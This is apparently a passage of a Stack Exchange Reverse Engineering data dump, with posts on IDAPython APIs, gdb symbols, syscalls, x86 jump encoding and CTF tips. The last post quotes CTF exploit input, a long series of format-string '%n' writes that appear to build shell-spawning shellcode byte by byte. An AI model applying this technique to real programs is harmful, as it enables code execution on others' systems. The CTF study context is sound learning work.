nop&#xA; 80488cc:   90                      nop&#xA; 80488cd:   90                      nop&#xA; 80488ce:   90                      nop&#xA; 80488cf:   90                      nop&#xA; 80488d0:   f3 c3                   repz ret &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't need an answer (I do!) just some pointers (excuse pun) in the right direction of what's going on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The executable is stripped. Should I read more on it all or is it worth my time diving in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HEX'd version of the executable I'm working with: &lt;a href=&quot;http://pastebin.com/cmwgRMGP&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pastebin.com/cmwgRMGP&lt;/a&gt;. I noticed the hex actually had 4 repeated sections, when split out, would run independently also!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18515" LastEditorUserId="2147" LastEditDate="2017-01-15T20:22:20.740" LastActivityDate="2017-01-15T20:22:20.740" Title="How should I approach a basic CTF exploitation challenge?" Tags="|x86|exploit|buffer-overflow|objdump|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14415" PostTypeId="2" ParentId="14414" CreationDate="2017-01-15T20:18:56.073" Score="2" Body="&lt;p&gt;&lt;em&gt;As OP's question is a bit vague and it seems he's more interested in general tips rather than an actual solution, I'm intentionally not focusing on answering the question at hand.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the vulnerable part is related to the call to &lt;code&gt;__isoc99_sscanf&lt;/code&gt; (as suggested by the title), you should really focus on the code preceding the call and specifically, the arguments passed to that function and the function's documentation (it often highlights problematic use cases).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're just starting with reverse engineering and vulnerability discovery, I'll list a few general tips and work-process suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I suggest you try separating the reverse engineering and vulnerability discovery. You should first convert the relevant functions back to a higher level language (C in this case), and only after you get a decent C code (doesn't have to compile), you should move on to figuring out what is the vulnerable part of it. Yes, you &lt;strong&gt;really&lt;/strong&gt; should write C pseudo-code if you're new to vulnerability discovery.&lt;/li&gt;&#xA;&lt;li&gt;You should use a tool more sophisticated than &lt;code&gt;objdump&lt;/code&gt; when reverse engineering. &lt;a href=&quot;https://www.hex-rays.com/products/ida/index.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA&lt;/a&gt;, &lt;a href=&quot;https://radare.org/r/&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt; are good examples.&lt;/li&gt;&#xA;&lt;li&gt;Focus on input paths and flows that can be manipulated by the user, make sure you're not reversing code that is not reachable/influenceable by the user.&lt;/li&gt;&#xA;&lt;li&gt;A good intro into these topics might be trying CTFs for a short while and moving on to reading a walkthrough/solution.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-01-15T20:18:56.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14416" PostTypeId="1" AcceptedAnswerId="14417" CreationDate="2017-01-16T01:05:10.733" Score="4" ViewCount="5162" Body="&lt;p&gt;Given an address, e.g. &lt;code&gt;0x70011DC&lt;/code&gt;, is there any IDAPython API that returns the function, e.g. &lt;code&gt;sub_0x7001024&lt;/code&gt; which this address belong to?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-16T06:27:35.520" Title="Is there any IDAPython API that returns the function which an address belong to?" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14417" PostTypeId="2" ParentId="14416" CreationDate="2017-01-16T06:14:32.687" Score="4" Body="&lt;p&gt;you are looking for &lt;code&gt;GetFunctionName(ea)&lt;/code&gt; from idc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the API. The idc and idautils functions are preferable, since they are slightly more high-level: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;noreferrer&quot; title=&quot;API&quot;&gt;API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="2147" LastEditDate="2017-01-16T06:27:35.520" LastActivityDate="2017-01-16T06:27:35.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14419" PostTypeId="2" ParentId="14190" CreationDate="2017-01-16T12:21:11.577" Score="3" Body="&lt;p&gt;There is no automated way (as far as I know) for that. The most common approach is examining sender and receiver processes and their communications. Another thing is packet (or frame) doesn't matter if you don't mind about communication protocols. It is operating system's, hardware interface's and drivers' (or modules') business.Your interest is raw data communication that your game uses.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2018-03-03T12:01:19.473" LastActivityDate="2018-03-03T12:01:19.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14420" PostTypeId="1" CreationDate="2017-01-16T12:32:34.300" Score="0" ViewCount="88" Body="&lt;p&gt;I know PEFile headers, assembly language, and other basic stuff. &#xA;I am looking for some site or book which systematically teaches me debugging and reversing. Something like &quot;Let us C&quot; for C language.&#xA;An ideal book/website would be which teaches a simple concept, and then provides a problem where these concepts can be applied to solve it. Then slowly add more concepts and provides questions which can be solved using those new concepts, and some hybrid questions which require a knowledge of multiple concepts (that have been taught already). &lt;/p&gt;&#xA;" OwnerUserId="18128" LastActivityDate="2017-02-15T17:46:03.753" Title="Where can I get systematic problems and solutions for debugging?" Tags="|malware|debuggers|crackme|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14421" PostTypeId="2" ParentId="14420" CreationDate="2017-01-16T17:22:28.927" Score="1" Body="&lt;p&gt;You can read &lt;a href=&quot;https://beginners.re/RE4B-EN.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;, which is an excellent book for reverse engineering and has many different things to try in many well-known arcitectures. If you want challenges, i know that &lt;a href=&quot;http://www.root-me.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;root-me.org&lt;/a&gt; has some various difficulty reverse engineering challenges.&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2017-01-16T17:22:28.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14422" PostTypeId="1" CreationDate="2017-01-16T18:17:26.637" Score="14" ViewCount="25578" Body="&lt;p&gt;When I select an assembly instruction in IDA graph view, I want to see the exact bytes corresponding to the selected instruction when I switch to He view in IDA. How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2018-09-27T14:02:54.653" Title="How do I know the bytes corresponding to an instruction in Hex view in IDA?" Tags="|ida|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14423" PostTypeId="1" CreationDate="2017-01-16T19:02:31.507" Score="2" ViewCount="463" Body="&lt;p&gt;I am trying to use &lt;code&gt;__kernel_vsyscall&lt;/code&gt; instead of &lt;code&gt;syscall&lt;/code&gt;/&lt;code&gt;int 80&lt;/code&gt; on linux x64.&#xA;I have read that it can be done on Intel chips (I have one), but i can't find how can one do it. I have x32 version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main() {&#xA;    __asm__(&#xA;    &quot;               movl $1, %eax  \n&quot;&#xA;    &quot;               movl $42, %ebx \n&quot;&#xA;    &quot;               call *%gs:0x10 \n&quot;&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One can compile &amp;amp; run it this way:&#xA;&lt;code&gt;&#xA;% cc -m32 exit42.c -o x&#xA;% ./x; echo $?&#xA;42&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can i call vdso syscalls on x64 without &lt;code&gt;syscall&lt;/code&gt; and &lt;code&gt;int 80&lt;/code&gt;? &lt;/p&gt;&#xA;" OwnerUserId="18807" LastActivityDate="2017-01-16T19:02:31.507" Title="Using __kernel_vsyscall on x64 linux machine" Tags="|assembly|linux|elf|x86-64|" AnswerCount="0" CommentCount="2" ClosedDate="2017-01-20T21:23:06.993" ContentLicense="CC BY-SA 3.0" />
  <row Id="14424" PostTypeId="2" ParentId="14422" CreationDate="2017-01-16T21:25:37.893" Score="7" Body="&lt;p&gt;IDA actually already does that for you. Put your mouse cursor on the instruction that you are interested in, go to Hex View, and the bytes corresponding to that instruction will be highlighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see the bytes corresponding to multiple instructions, you can write an IDAPython script to do that, such as this: (first use your cursor to select the instructions, then run this script)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start = idc.SelStart()&#xA;end = idc.SelEnd()&#xA;&#xA;print hex(start), hex(end)&#xA;&#xA;while start &amp;lt; end: &#xA;    print hex(idc.Byte(start))&#xA;    start = idc.NextAddr(start)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18722" LastActivityDate="2017-01-16T21:25:37.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14425" PostTypeId="1" AcceptedAnswerId="14426" CreationDate="2017-01-16T21:39:27.963" Score="1" ViewCount="330" Body="&lt;p&gt;I have an IDAPython script written for a specific analysis. Also, I am using another in-house tool for the same analysis that, too, exposes Python API. My intention is to augment the script such that when it is run within IDA, it'll run IDA specific methods and when it is run outside IDA, it has to call the method specific to the in-house tool. Does IDAPython provide any special environment variable to detect if a Python script is running inside IDA environment?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-17T06:08:05.653" Title="Does IDAPython define any special environment variable?" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14426" PostTypeId="2" ParentId="14425" CreationDate="2017-01-17T06:08:05.653" Score="5" Body="&lt;p&gt;I don't think there is directly, but there is a trick I've seen a few times (works with any dependency):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try:&#xA;    import idc&#xA;    print 'ida'&#xA;except Exception as e:&#xA;    print 'no ida'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may set a special variable instead of the print statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclamer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Requires that your systems python and IDAs python are actually separate (the default case)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-01-17T06:08:05.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14427" PostTypeId="2" ParentId="1392" CreationDate="2017-01-17T08:39:06.100" Score="2" Body="&lt;p&gt;Note that the following applies to source code debugging only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.jetbrains.com/clion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CLion&lt;/code&gt;&lt;/a&gt; is an &lt;code&gt;IDE&lt;/code&gt; using &lt;code&gt;gdb&lt;/code&gt;. You still have the ability to type in commands but many features are seamlessly implemented in the GUI such as stepping, seeing currently active variables and setting &lt;code&gt;breakpoints&lt;/code&gt;. Read more &lt;a href=&quot;https://blog.jetbrains.com/clion/2015/05/debug-clion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;here&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12774" LastActivityDate="2017-01-17T08:39:06.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14429" PostTypeId="1" AcceptedAnswerId="14432" CreationDate="2017-01-17T20:14:09.997" Score="2" ViewCount="983" Body="&lt;p&gt;Is there a way to write my own &lt;code&gt;syscall&lt;/code&gt;/&lt;code&gt;int 0x80&lt;/code&gt; without using them?&#xA;So, normally it goes like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setup registers&#xA;...&#xA;syscall or int 0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I am interested in doing this without &lt;code&gt;syscall&lt;/code&gt;/&lt;code&gt;int 0x80&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setup registers&#xA;call mysyscall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where can I find implementation of &lt;code&gt;syscall&lt;/code&gt; or &lt;code&gt;int 0x80&lt;/code&gt;? Or is it too low level to implement it in asm?&lt;/p&gt;&#xA;" OwnerUserId="18807" LastEditorUserId="2147" LastEditDate="2017-01-17T22:57:29.433" LastActivityDate="2017-01-17T23:20:08.180" Title="Writing own custome syscall/int 0x80 on x64 system" Tags="|assembly|linux|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14430" PostTypeId="1" AcceptedAnswerId="14431" CreationDate="2017-01-17T22:03:15.863" Score="8" ViewCount="3421" Body="&lt;p&gt;In IDA's documentation, there are references to modules named &lt;code&gt;ida_*&lt;/code&gt;, as well as &lt;code&gt;idc&lt;/code&gt;, &lt;code&gt;idaapi&lt;/code&gt; and &lt;code&gt;idautils&lt;/code&gt;. The former modules seem to be the lower level ones. Almost always it says that &lt;code&gt;IDA Plugin SDK API wrapper: &amp;lt;some_module&amp;gt;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few specific questions about the documentation and IDAPython:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is this IDA plugin SDK? Is it the C like API available in IDC?&lt;/li&gt;&#xA;&lt;li&gt;Do the higher level API allow access to all the lower level functionalities?&lt;/li&gt;&#xA;&lt;li&gt;What can't I seem to load lower level modules? (When I try to &lt;code&gt;import ida_lines&lt;/code&gt;, IDA says &lt;code&gt;ImportError: No module named ida_lines&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="2147" LastEditDate="2017-01-17T22:35:36.167" LastActivityDate="2019-02-11T14:52:01.997" Title="How is IDAPython API structured?" Tags="|ida|idapython|idapro-sdk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14431" PostTypeId="2" ParentId="14430" CreationDate="2017-01-17T22:32:19.060" Score="11" Body="&lt;p&gt;&lt;em&gt;A bit of history:&lt;/em&gt; (aka an aging guy blabbering about) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the old days, we didn't have python in IDA and when an individual wanted to develop an IDA plugin he had to implement it in C and use the SDK available from hex-ray's &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;download center&lt;/a&gt; using credentials received when you purchase an IDA license. We did have, however, IDC. IDC is IDA's old, proprietary and somewhat deprecated scripting language, this is not related to C however there is evident effort using a C-like syntax. It was commonly used in the past but IDAPython nearly replaced it completely. The only reason to see IDC now is for old code, that precedes IDAPython.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since then, IDAPython was developed (originally as a plugin using the aforementioned SDK, and then adopted by hex-rays and made part of IDA). Up until the recent IDA 6.95, we only had a single module exposing all of IDA's C SDK in python. That module was &lt;code&gt;idaapi&lt;/code&gt;. &lt;code&gt;idc&lt;/code&gt; is implementing higher level functions that were migrated from IDC into IDAPython. &lt;code&gt;idautils&lt;/code&gt; implements some more high level functions, that weren't there before. those are rough divisions, and not entirely accurate. The important point here is that there was a single (long) python file exposing all SDK functions (that are exposed to python using &lt;a href=&quot;http://www.swig.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SWIG&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In IDA 6.95 we still have that, but it was also the first version to include multiple &lt;code&gt;ida_*&lt;/code&gt; modules where are to replace the broad &lt;code&gt;idaapi&lt;/code&gt;. &lt;code&gt;idaapi&lt;/code&gt; is only included in 6.95 for backwards compatibility and should be expected to be dropped in IDA 7. Generally, the names of the modules (what follows the &lt;code&gt;ida_&lt;/code&gt; prefix) are the names of the header files in which those functions are defined. For example, &lt;code&gt;ida_lines&lt;/code&gt; will expose functions defined in &lt;code&gt;lines.h&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Actual answers&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The IDA plugin SDK is a collection of C header files and binary libraries that allow a third party develop IDA plugins using the provided API. It can be downloaded from the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;download center&lt;/a&gt; and it's documentation is available &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;While the C SDK is pretty well documented, the IDAPython not so much. I often find browsing the SDK useful when developing IDAPython plugins, as functions are usually exposed to python but not documented or described as well as they are in the SDK. basically most of the functions correspond and you'll find the same functions having the same name in both IDAPython and the SDK (as this is mostly automatically generated code by/for &lt;a href=&quot;http://www.swig.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SWIG&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;First guess would be you're using an older version of IDA, where &lt;code&gt;ida_*&lt;/code&gt; modules don't yet exist. generally, using &lt;code&gt;idaapi&lt;/code&gt; instead of every other module will do just fine.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Developing for IDA:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A person interested in developing for IDA has three options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Writing C code using the IDA SDK and compiling it, having a &lt;code&gt;plw&lt;/code&gt; or a &lt;code&gt;p64&lt;/code&gt; binary as output.&lt;/li&gt;&#xA;&lt;li&gt;Writing IDC code. This is a decent scripting language resembling a simplified C in syntax. output would be a text file. This was the scripting language of choice for IDA before IDAPython became popular and ownership was transferred to hexrays.&lt;/li&gt;&#xA;&lt;li&gt;Writing IDAPython code. This is mostly python using the additional modules available when running from within IDA, plus a simple IDA plugin interface required to register as a plugin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2019-02-11T14:52:01.997" LastActivityDate="2019-02-11T14:52:01.997" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="14432" PostTypeId="2" ParentId="14429" CreationDate="2017-01-17T23:20:08.180" Score="1" Body="&lt;p&gt;&lt;em&gt;TL;DR:&lt;/em&gt; These are two instructions supported &lt;em&gt;by&lt;/em&gt; the CPU, you cannot implement them in assembly, as they are (or aren't) part of the assembly language you're using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Some more background:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An interrupt (the assembly &lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_142.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;int&lt;/code&gt;&lt;/a&gt; instruction is causing a software interrupt) is a special event for the CPU. The CPU immediately (This is slightly inaccurate as advanced performance optimizations and low-level features are ignored for the sake of simplicity) stops executing the instruction sequence it was executing, saves the context of the current execution (such as the &lt;code&gt;EIP&lt;/code&gt; and other control registers, most not directly accessible to the user), and switches to a specifically designated code sequence that is in charge of handling that specific interrupt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples of hardware interrupts are related to handling power, hard-disk network and other peripherals, as well as when a program fails accessing a memory region, fails with certain calculations (divide by zero), floating point errors, tries executing a privileged or an invalid instruction and many others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, a program can intentionally trigger an interrupt by using the &lt;code&gt;int&lt;/code&gt; instruction which receives a single operand - the interrupt id to trigger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When an interrupt happens, the resumes execution at the address pointed by the interrupt index in the &lt;a href=&quot;https://en.wikipedia.org/wiki/Interrupt_descriptor_table&quot; rel=&quot;nofollow noreferrer&quot;&gt;Interrupt Descriptor Table&lt;/a&gt; (aka Interrupt Vector Table), in the case of &lt;code&gt;int 0x80&lt;/code&gt;, that's the address at offset &lt;code&gt;0x80&lt;/code&gt;, obviously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As interrupts are an expensive operation for the CPU (it entails a lot of bookkeeping related to theads and context switches, among other things), AMD (and later Intel) introduced the &lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_313.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;sysenter&lt;/code&gt;&lt;/a&gt; instruction (called &lt;code&gt;syscall&lt;/code&gt; by Intel). That instruction keeps bookkeeping to the minimum by only raising to ring0 and executing kernel code.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-01-17T23:20:08.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14434" PostTypeId="1" AcceptedAnswerId="14435" CreationDate="2017-01-18T06:34:13.890" Score="0" ViewCount="671" Body="&lt;p&gt;I was reversing &lt;a href=&quot;https://www.mediafire.com/?6kqg3l8yq3cy89z&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; binary. While I tried to set a breakpoint in &lt;code&gt;gdb&lt;/code&gt; on &lt;code&gt;main&lt;/code&gt; function, it couldn't find its definition. Loading up the same binary in IDA shows up &lt;code&gt;main&lt;/code&gt; method in the &lt;code&gt;Function&lt;/code&gt; pane. Why isn't gdb being able to find symbol which IDA can?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n4shK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n4shK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EysQV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EysQV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-18T07:05:09.527" Title="Why can't gdb find symbol which IDA can?" Tags="|ida|gdb|breakpoint|symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14435" PostTypeId="2" ParentId="14434" CreationDate="2017-01-18T07:05:09.527" Score="1" Body="&lt;p&gt;The file you provided is a stripped elf executable. A related question can be found &lt;a href=&quot;https://stackoverflow.com/questions/9885545/how-to-find-the-main-functions-entry-point-of-elf-executable-file-without-any-s&quot;&gt;here&lt;/a&gt;. The main issue is that a stripped elf file has no &lt;em&gt;main&lt;/em&gt; symbol. Instead, the loader uses the &lt;em&gt;e_entry&lt;/em&gt; header field, which points to the C libs initialization code. When the initialization is done, it will yield execution to the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, IDA is able to reconstruct the entry point by searching for this indirect jump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the very start of the .text section, you will find these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 8048637:   68 86 b7 04 08          push   $0x804b786&#xA; 804863c:   e8 9f ff ff ff          call   80485e0 &amp;lt;__libc_start_main@plt&amp;gt;&#xA; 8048641:   f4                      hlt &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value being pushed here right before the call to libc's start function is the actual entry point. I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2017-01-18T07:05:09.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14439" PostTypeId="1" CreationDate="2017-01-19T01:53:02.130" Score="2" ViewCount="2119" Body="&lt;p&gt;I'm on the OSX platform working with x86_64.  I've worked out how to do near jumps with the E9 byte code directive where my relative addresses have 4 bytes (teamed up with RIP)&lt;br&gt;&#xA;Now I have an instance where I've allocated something at a very high address and where I'm going to be referencing it is very far away in the same process.  the end result is that the difference between the RIP and the starting address results in 5 bytes. (if I use relative addressing).  I was attempting to use FF 25 + 4 bytes + 1 byte and the fifth wasn't being interpreted as part of the command.&lt;br&gt;&#xA;Indeed when I looked up the data in the table &lt;a href=&quot;http://sandpile.org/x86/opc_rm.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;x86 architecture&#xA;mod R/M byte &lt;/a&gt; it noted FF 25 (apparently does a RIP+signed dword).  This would explain why 1 byte was being dropped.   I tried examining the table and do not really understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the questions I have are &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I read the table so as to understand how to get the byte code to set up so I can do question #3 correctly?&lt;/li&gt;&#xA;&lt;li&gt;Does JMP /5 use a direct address or indirect addressing (do I have to involve the RIP as a part of the calculation)?&lt;/li&gt;&#xA;&lt;li&gt;What set of byte codes do I need to assemble to get a JMP /5 to take effect  (eg:  FF ... )  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;typical 4 byte jump (e9) code might look like this: (lldb session)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt; 0x100000ebb:  81 7d fc 03 00 00 00  cmpl   $0x3, -0x4(%rbp)&#xA;   0x100000ec2:  0f 85 05 00 00 00     jne    0x100000ecd           &#xA;   0x100000ec8:  e9 3b 57 34 12        jmp    0x112346608&#xA;   0x100000ecd:  48 8d 3d bc 00 00 00  leaq   0xbc(%rip), %rdi  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17024" LastActivityDate="2021-08-02T15:00:49.873" Title="How do I denote and use JMP /5 in byte code" Tags="|assembly|osx|x86-64|byte-code|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14440" PostTypeId="1" CreationDate="2017-01-19T03:55:16.577" Score="2" ViewCount="3878" Body="&lt;p&gt;I was following the &lt;a href=&quot;https://losfuzzys.github.io/writeup/2016/12/18/sharifctf7-tehran/&quot; rel=&quot;nofollow noreferrer&quot;&gt;writeup&lt;/a&gt; of the challenge &lt;a href=&quot;http://www.mediafire.com/file/6kqg3l8yq3cy89z/tehran&quot; rel=&quot;nofollow noreferrer&quot;&gt;tehran&lt;/a&gt;. If I set a breakpoint &lt;code&gt;0x804bade&lt;/code&gt;, it never gets hit for the following input.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;begin() {&#xA;    fillout(0x8048000, 16384, 7);&#xA;    puts(&quot;%144c%n&quot;, 42, 0x804bade);&#xA;    puts(&quot;%144c%n&quot;, 42, 0x804badf);&#xA;    puts(&quot;%144c%n&quot;, 42, 0x804bae0);&#xA;    puts(&quot;%144c%n&quot;, 42, 0x804bae1);&#xA;    puts(&quot;%144c%n&quot;, 42, 0x804bae2);&#xA;    puts(&quot;%104c%n&quot;, 42, 0x804bae3);&#xA;    puts(&quot;%1c%n&quot;, 42, 0x804bae4);&#xA;    puts(&quot;%1c%n&quot;, 42, 0x804bae5);&#xA;    puts(&quot;%1c%n&quot;, 42, 0x804bae6);&#xA;    puts(&quot;%1c%n&quot;, 42, 0x804bae7);&#xA;    puts(&quot;%129c%n&quot;, 42, 0x804bae8);&#xA;    puts(&quot;%52c%n&quot;, 42, 0x804bae9);&#xA;    puts(&quot;%36c%n&quot;, 42, 0x804baea);&#xA;    puts(&quot;%114c%n&quot;, 42, 0x804baeb);&#xA;    puts(&quot;%105c%n&quot;, 42, 0x804baec);&#xA;    puts(&quot;%1c%n&quot;, 42, 0x804baed);&#xA;    puts(&quot;%1c%n&quot;, 42, 0x804baee);&#xA;    puts(&quot;%49c%n&quot;, 42, 0x804baef);&#xA;    puts(&quot;%210c%n&quot;, 42, 0x804baf0);&#xA;    puts(&quot;%82c%n&quot;, 42, 0x804baf1);&#xA;    puts(&quot;%106c%n&quot;, 42, 0x804baf2);&#xA;    puts(&quot;%4c%n&quot;, 42, 0x804baf3);&#xA;    puts(&quot;%90c%n&quot;, 42, 0x804baf4);&#xA;    puts(&quot;%1c%n&quot;, 42, 0x804baf5);&#xA;    puts(&quot;%226c%n&quot;, 42, 0x804baf6);&#xA;    puts(&quot;%82c%n&quot;, 42, 0x804baf7);&#xA;    puts(&quot;%137c%n&quot;, 42, 0x804baf8);&#xA;    puts(&quot;%226c%n&quot;, 42, 0x804baf9);&#xA;    puts(&quot;%106c%n&quot;, 42, 0x804bafa);&#xA;    puts(&quot;%104c%n&quot;, 42, 0x804bafb);&#xA;    puts(&quot;%104c%n&quot;, 42, 0x804bafc);&#xA;    puts(&quot;%47c%n&quot;, 42, 0x804bafd);&#xA;    puts(&quot;%47c%n&quot;, 42, 0x804bafe);&#xA;    puts(&quot;%47c%n&quot;, 42, 0x804baff);&#xA;    puts(&quot;%115c%n&quot;, 42, 0x804bb00);&#xA;    puts(&quot;%104c%n&quot;, 42, 0x804bb01);&#xA;    puts(&quot;%47c%n&quot;, 42, 0x804bb02);&#xA;    puts(&quot;%98c%n&quot;, 42, 0x804bb03);&#xA;    puts(&quot;%105c%n&quot;, 42, 0x804bb04);&#xA;    puts(&quot;%110c%n&quot;, 42, 0x804bb05);&#xA;    puts(&quot;%106c%n&quot;, 42, 